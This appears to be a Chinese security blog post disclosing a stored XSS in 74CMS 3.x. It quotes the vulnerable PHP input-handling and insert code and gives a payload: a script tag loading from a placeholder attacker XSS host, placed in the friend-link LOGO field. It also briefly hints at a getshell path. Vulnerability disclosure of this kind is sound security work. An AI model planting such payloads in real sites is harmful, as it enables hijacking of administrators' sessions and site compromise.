骑士人才(74CMS)3.X通杀XSS

Author:毒药 这个XSS好像是从12年3.1开始就存在的吧,到现在的3.4还是没有修复。 漏洞页面:link/add_link.php 友情链接:LOGO处填写[php]><script src=http://xss地址></script> //将<>进行16进制编码[/php] add_link.php [php] $setsqlarr['link_name']=trim($_POST['link_name'])?trim($_POST['link_name']):showmsg('您没有填写标题!',1); $setsqlarr['link_url']=trim($_POST['link_url'])?trim($_POST['link_url']):showmsg('您没有填写链接地址!',1); $setsqlarr['link_logo']=trim($_POST['link_logo']); $setsqlarr['app_notes']=trim($_POST['app_notes']); $setsqlarr['alias']=trim($_POST['alias']); $setsqlarr['display']=2; $setsqlarr['type_id']=2; $link[0]['text'] = "返回网站首页"; $link[0]['href'] =$_CFG['site_dir']; !inserttable(table('link'),$setsqlarr)?showmsg("添加失败!",0):showmsg("添加成功,请等待管理员审核!",2,$link);[/php] 定义数组变量,再看$_POST的定义include/common.inc.php [php] if (!empty($_POST)) { $_POST = addslashes_deep($_POST); }[/php] function addslashes_deep()在include/common.fun.php [php] function addslashes_deep($value) { if (empty($value)) { return $value; } else { if (!get_magic_quotes_gpc()) { $value=is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value); } else { $value=is_array($value) ? array_map('addslashes_deep', $value) : mystrip_tags($value); } return $value; } } function mystrip_tags($string) { $string = str_replace(array('&', '"', '<', '>'), array('&', '"', '<', '>'), $string); $string = strip_tags($string); $string = filter_keyword($string); return $string; } function filter_keyword($string) { $keyword = 'select|insert|update|delete|/*|*|../|./|union|into|load_file|outfile'; $arr = explode( '|', $keyword ); $result = str_ireplace( $arr, '', $string ); return $result; }[/php] 觉得这段转义过滤神马的好像是网上直接抄的-_-! 数据库插入数据在common.fun.php的179行 [php] function inserttable($tablename, $insertsqlarr, $returnid=0, $replace = false, $silent=0) { global $db; $insertkeysql = $insertvaluesql = $comma = ''; foreach ($insertsqlarr as $insert_key => $insert_value) { $insertkeysql .= $comma.'`'.$insert_key.'`'; $insertvaluesql .= $comma.'\''.$insert_value.'\''; $comma = ', '; } $method = $replace?'REPLACE':'INSERT'; $state = $db->query($method." INTO $tablename ($insertkeysql) VALUES ($insertvaluesql)", $silent?'SILENT':''); if($returnid && !$replace) { return $db->insert_id(); }else { return $state; } }[/php] 具体漏洞形成过程请大牛再分析分析,不敢说太多,我怕会说错,至于GETSHELL应该还是计划任务那里吧,年代久远,忘的七七八八了。

发表评论